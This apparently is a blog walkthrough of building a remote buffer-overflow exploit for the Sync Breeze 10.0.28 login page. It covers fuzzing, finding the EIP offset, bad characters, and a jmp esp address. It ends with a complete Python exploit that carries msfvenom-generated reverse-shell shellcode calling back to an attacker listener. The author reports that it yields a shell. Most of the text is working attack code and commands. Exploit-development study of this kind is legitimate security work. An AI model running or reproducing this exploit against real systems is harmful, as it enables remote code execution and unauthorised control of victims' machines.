Sync Breeze Application v10.0.28 Buffer Overflow (Windows x86)
I will eventually detail how I discovered the vulnerability and conducted reverse engineering on the application, but for now, I will focus solely on the buffer overflow aspect.
You can find the actual exploit script in Exploit-db
Sync Breeze is a file synchronization software that enables users to synchronize files between directories, disks, and networked computers. It offers a variety of features for file synchronization, backup, and data replication.
The vulnerability we are going to exploit originates from the username parameter in the login function, which uses the POST method to send data to https://target/login.
For the fuzzing process, we will utilize a Python script to send an HTTP request. After attaching the application process to the debugger, we will begin by sending 800 bytes of the letter ‘A’ (represented as x41) as the username.
import socket
try:
server = "192.168.1.160"
port = 80
inputBuffer = b"\x41" * 800
content = b"username="+inputBuffer+ b"&password=admin"
buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
We observe that the application generates an error after the request is sent, and we can verify the EIP value using the \x41 (A) characters that are under our control.
We need to identify which bytes control the EIP from the 800 bytes we sent. This can be accomplished using Metasploit’s module or a different script.
inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa" #... 800 bytes are shortened as an example.
content = b"username="+inputBuffer+ b"&password=admin"
When we examine the EIP value in response to the request, we notice that the hex values in the buffer we sent, corresponding to 42306142, control the EIP. We can determine the number of bytes that correspond to the value 42306142 using the pattern_offset module, which is part of Metasploit.
This indicates that after the stack is filled with a value of 780 bytes, the following 4 bytes will control the EIP value. To verify this, we will update our script as follows.
import socket
try:
server = "192.168.1.160"
port = 80
filler = b"\x41" * 780
eip = b"\x42" * 4
inputBuffer = filler + eip
content = b"username="+inputBuffer+ b"&password=admin"
buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
After resending the request and analyzing the application with the debugger, we confirm that the \x42 hex values we sent to check the EIP are correctly written to the EIP address.
After checking the EIP value, we need to verify whether the stack has enough space for our payload. To do this, we will send our payload using the NOP instruction, represented by the hex value (\x90) NOP code.
filler = b"\x41" * 780
eip = b"\x42" * 4
offset = b"\x90" * 16
payload = (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + payload
content = b"username="+inputBuffer+ b"&password=admin"
Why do we send the NOP code before the payload?
This technique helps us deal with the uncertainty of accurately pinpointing the exact memory location of the payload. We place a series of NOP (No Operation) instructions before the payload. If the overwritten return address points anywhere within the NOP “sled,” the execution will “slide” through these non-operative instructions until it reaches and executes the actual payload.
When we analyze the stack at this stage, we can confirm that there is enough space for our offset and our payload after the EIP (Extended Instruction Pointer).
Next, we can create our payload for the attack we want to conduct (in this case, we aim to obtain a reverse shell). However, certain hex values in the shellcode may disrupt the flow of the application. To prevent this issue, we need to identify which hex values cause breaks in the application’s flow. To accomplish this, we create a variable called “badchars” that contains all hex values. We then send this value to the application as part of the payload and analyze how the application responds.
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
filler = b"\x41" * 780
eip = b"\x42" * 4
offset = b"\x90" * 4
payload = (1500 - len(filler) - len(eip) - len(offset) - len(badchars))
inputBuffer = filler + eip + offset + badchars + payload
content = b"username="+inputBuffer+ b"&password=admin"
When we run our script and analyze the stack with the debugger, we can see that our badchars values are written to the stack in little-endian format after our offset value (90909090).
The hex values \x01\x02\x03\x04 from our badchars variable appear at the first stack address as 04030201, and the values \x05\x06\x07\x08 are written to the second stack address as 08070605 without any issues.
However, upon examining the third stack address, we find that the hex values \x09\x0a\x0b\x0c are recorded as 01040009 instead of the expected order of 0c0b0a09. In this case, we can confirm that \x09 is written correctly in both instances, but there seems to be an issue after \x09. The hex value “\x0a” disrupts the flow of our application.
We can conclude that the hex value “\x0a” is unsuitable for our payload and should be avoided.
After subtracting this value from our bad characters (badchars) variable, we need to repeat the process until we no longer encounter any errors. As a result, we discover that the hex values “\x0a, \x0d, \x25, \x26, \x2b, \x3d” interfere with the application’s operation. Additionally, since the hex value “\x00” serves as a null terminator, we included it in our badchars list without needing to count the bad characters.
badchars = "\x00, \x0a, \x0d, \x25, \x26, \x2b, \x3d"
So far, we have completed the following steps:
- We fuzzed the input field where we suspected a buffer overflow vulnerability could be triggered and identified the point at which the vulnerability occurs.
- We determined the number of bytes needed to control the EIP (Extended Instruction Pointer) value.
- We identified the number of bytes available for our payload.
- We discovered the hexadecimal values that disrupt the application’s flow.
As a result of these steps, we now control the EIP address, and the stack address indicates where our payload resides. Our next objective is to redirect the EIP to the stack pointer.
We can utilize the “jmp esp” instruction for our purposes. To do this, we must locate the “jmp esp” instruction among the addresses used by the application. Since the image base address of the application is “0x00400000” and starts with the hexadecimal value \x00, we cannot search for the “jmp esp” instruction within the image base.
When we examine the .dll addresses utilized by the application and any protections associated with those .dll addresses using the Process Hacker tool, we find that the libspp.dll address (0x10000000) does not contain any bad characters or protective measures.
We can observe that the instruction “jmp esp” has the hex values “\xff \xe4” when using the Metasploit nasm_shell module.
To search for the value “\xff \xe4”, we need to determine the memory range of the libspp module. We can use the “lm m libspp” command in WinDbg to find this information.
We identified the range of memory addresses. We can search for the values “0xff 0xe4” within these address ranges using the command ”s -b 1000000 10223000 0xff 0xe4”.
Upon checking the resulting address 10090c83, we confirm it contains the “jmp esp” instruction.
We write the address to our EIP variable using the little-endian method. Finally, we update our script accordingly.
filler = b"\x41" * 780
eip = b"\x83\x0c\x09}x10" #"10090c83" - JMP ESP
offset = b"\x90" * 16
payload = (1500 - len(filler) - len(eip) - len(offset) )
inputBuffer = filler + eip + offset + payload
content = b"username="+inputBuffer+ b"&password=admin"
When we run our script and analyze the application after placing a breakpoint at address 10090c83 using the command “bp 10090c83”, we can see that the application halts at address 10090c83 and its next instruction is “jmp esp”.
We can now create the shellcode needed for our payload. We can either write a custom shellcode ourselves or utilize Metasploit’s msfvenom module. For this application, we generated the shellcode using msfvenom.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.20 LPORT=443 EXITFUNC=thread -f python -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -v buf
We updated our script by replacing the payload variable with the buf variable generated by Metasploit.
import socket
try:
server = "192.168.1.160"
port = 80
#badchars = "0x0a,0xd,0x25,0x26,0x2b,0x3d"
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.20 LPORT=443 EXITFUNC=thread -f python -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -v buf
buf = b""
buf += b"\xdb\xdd\xd9\x74\x24\xf4\xbb\xf7\xdc\x1e\xbb\x5a"
buf += b"\x29\xc9\xb1\x52\x31\x5a\x17\x83\xc2\x04\x03\xad"
buf += b"\xcf\xfc\x4e\xad\x18\x82\xb1\x4d\xd9\xe3\x38\xa8"
buf += b"\xe8\x23\x5e\xb9\x5b\x94\x14\xef\x57\x5f\x78\x1b"
buf += b"\xe3\x2d\x55\x2c\x44\x9b\x83\x03\x55\xb0\xf0\x02"
buf += b"\xd5\xcb\x24\xe4\xe4\x03\x39\xe5\x21\x79\xb0\xb7"
buf += b"\xfa\xf5\x67\x27\x8e\x40\xb4\xcc\xdc\x45\xbc\x31"
buf += b"\x94\x64\xed\xe4\xae\x3e\x2d\x07\x62\x4b\x64\x1f"
buf += b"\x67\x76\x3e\x94\x53\x0c\xc1\x7c\xaa\xed\x6e\x41"
buf += b"\x02\x1c\x6e\x86\xa5\xff\x05\xfe\xd5\x82\x1d\xc5"
buf += b"\xa4\x58\xab\xdd\x0f\x2a\x0b\x39\xb1\xff\xca\xca"
buf += b"\xbd\xb4\x99\x94\xa1\x4b\x4d\xaf\xde\xc0\x70\x7f"
buf += b"\x57\x92\x56\x5b\x33\x40\xf6\xfa\x99\x27\x07\x1c"
buf += b"\x42\x97\xad\x57\x6f\xcc\xdf\x3a\xf8\x21\xd2\xc4"
buf += b"\xf8\x2d\x65\xb7\xca\xf2\xdd\x5f\x67\x7a\xf8\x98"
buf += b"\x88\x51\xbc\x36\x77\x5a\xbd\x1f\xbc\x0e\xed\x37"
buf += b"\x15\x2f\x66\xc7\x9a\xfa\x29\x97\x34\x55\x8a\x47"
buf += b"\xf5\x05\x62\x8d\xfa\x7a\x92\xae\xd0\x12\x39\x55"
buf += b"\xb3\xdc\x16\x54\x7f\xb5\x64\x56\x7e\xfe\xe0\xb0"
buf += b"\xea\x10\xa5\x6b\x83\x89\xec\xe7\x32\x55\x3b\x82"
buf += b"\x75\xdd\xc8\x73\x3b\x16\xa4\x67\xac\xd6\xf3\xd5"
buf += b"\x7b\xe8\x29\x71\xe7\x7b\xb6\x81\x6e\x60\x61\xd6"
buf += b"\x27\x56\x78\xb2\xd5\xc1\xd2\xa0\x27\x97\x1d\x60"
buf += b"\xfc\x64\xa3\x69\x71\xd0\x87\x79\x4f\xd9\x83\x2d"
buf += b"\x1f\x8c\x5d\x9b\xd9\x66\x2c\x75\xb0\xd5\xe6\x11"
buf += b"\x45\x16\x39\x67\x4a\x73\xcf\x87\xfb\x2a\x96\xb8"
buf += b"\x34\xbb\x1e\xc1\x28\x5b\xe0\x18\xe9\x7b\x03\x88"
buf += b"\x04\x14\x9a\x59\xa5\x79\x1d\xb4\xea\x87\x9e\x3c"
buf += b"\x93\x73\xbe\x35\x96\x38\x78\xa6\xea\x51\xed\xc8"
buf += b"\x59\x51\x24"
filler = b"\x41"*780
eip = b"\x83\x0c\x09\x10" #"10090c83" - JMP ESP
offset = b"\x90"*16
inputBuffer = filler + eip + offset + buf
content = b"username="+inputBuffer+ b"&password=admin"
buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://10.11.0.22/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
When we executed our script, we successfully obtained our reverse shell.